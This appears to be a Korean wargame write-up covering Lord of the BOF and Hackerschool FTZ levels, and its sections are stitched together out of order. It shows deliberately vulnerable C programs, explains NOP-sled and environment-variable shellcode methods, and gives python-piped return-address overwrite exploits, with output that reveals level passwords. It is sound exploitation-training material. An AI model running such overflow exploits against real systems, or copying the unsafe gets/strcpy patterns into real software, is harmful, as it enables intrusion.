/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
먼저 root / hackerschoolbof로 로그인 후 ifconfig로 ip주소를 알아낸다.
xshell이나 putty를 이용해 23번 포트로 연결 후 gate / gate 로 로그인한다. 문제를 풀때 항상 bash2를 입력하고 시작해야한다.
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
gdb로 들여다보려면 gremlin 실행파일을 복사해서 복사한 실행파일을 gdb로 실행해야 한다.
argv[1]을 buffer에 원하는 만큼 덮어쓸 수 있다. buffer overflow가 가능하다. strcpy 함수의 인자로 buffer가 전달되기에 ebp-256이 buffer의 주소임을 알 수 있다.
두 가지 방식으로 풀었다.
첫 번째 방식
buffer 공간에 ''\x90'과 쉘 코드를 넣어서 최종적으로 '\x90' 중 하나의 주소로 retn 하는 방식으로 해결했다. 이를 NOP Sled 방식이라 하며 쉘 코드의 주소를 정확하게 알지 못해도 공격을 성공할 수 있다. CPU는 '\x90'(NOP)을 만나면 NOP이 아닌 값이 나올 때까지 건너뛴다. 마침내 쉘 코드를 만나면 실행한다. 256 bytes(buffer)+4 bytes(sfp)를 '\x90'*200+"쉘 코드(25 bytes)"+"A"*35로 채우고 이어서 retn 주소를 '\x90' 중 하나의 주소로 설정한다. 위와 같이 값을 넣었을 때 '\x90'의 주소를 알아내기 위해 "A"*260+retn주소 형식으로 실험해 봤다.
argv[1]의 인자값의 길이에 따라 스택의 주소값들이 달라진다. 이 점 때문에 많이 헤맸다.
입력을 받아서 출력하는 코드다. bof에 취약한 gets 함수를 사용하고 있다. 다만 이전의 문제들과 다른 점은 setreuid 함수가 없다는 것이다. ftz의 my-pass 함수를 사용하려면 ruid와 euid가 다음 레벨의 uid로 되어야 한다. 그러기 위해선 기존에 사용해 오던 쉘 코드가 아닌 setreuid 함수가 포함된 쉘 코드를 사용해야 한다. 검색을 통해 찾아서 환경변수로 등록했다. 마찬가지로 NOP을 의미하는 \x90은 여유 있게 넣어준다.
아래는 환경 변수로 등록한 쉘 코드의 주소를 출력하는 소스 코드다. 컴파일하여 주솟값을 구한다.
#include <stdio.h>
int main(){
printf("%p\n",getenv("sh"));
}
gdb로 buf의 주솟값을 파악한다. ebp-40에 위치한다.
[level19@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40] //buf 주소 ebp-40
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
40 bytes + sfp(4 bytes)=44 bytes를 임의의 값으로 채우고 다음 4 bytes인 retn 주솟값이 저장되는 위치에 쉘 코드의 주소를 삽입한다.
[level19@ftz tmp]$ (python -c 'print "A"*44+"\x58\xfe\xff\xbf"';cat)|../attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX?
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".
이미 이전 단계들에서 많이 해오던 방식인데 쉘 코드만 바꼈다. 명령어의 문법은 아래의 글에서 설명하였다.
이번엔 쉘 코드를 환경 변수로 등록하여 call 함수 실행 시 쉘 코드를 호출하도록 해야겠다. 그러기 위해선 call 값에 쉘 코드의 주소값을 저장해야 한다. 그리고 앞의 문제들에선 설명하는 것을 깜빡했는데 fgets 함수가 48 bytes까지만 입력받기 때문에 retn 주소를 덮어 씌울 순 없다. 이 문제도 마찬가지로 ebp-56에 buf가 위치하기 때문에 48 bytes를 입력해서는 retn에 도달할 수 없다.
[level17@ftz tmp]$ (python -c 'print "A"*40+"\x69\xfe\xff\xbf"';cat)|../attackme
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
명령어들이 이해가 안간다면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.
check 값이 저장되는 위치에 0xdeadbeef의 주솟값을 저장하면 포인터 연산(*)으로 접근 시 0xdeadbeef에 접근하게 될 것이다. 그럼 if문이 참이 되어 ruid와 euid가 level16이 되고 /bin/sh를 실행할 수 있다. 이때 my-pass를 입력하면 level16의 비밀번호가 나온다.
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}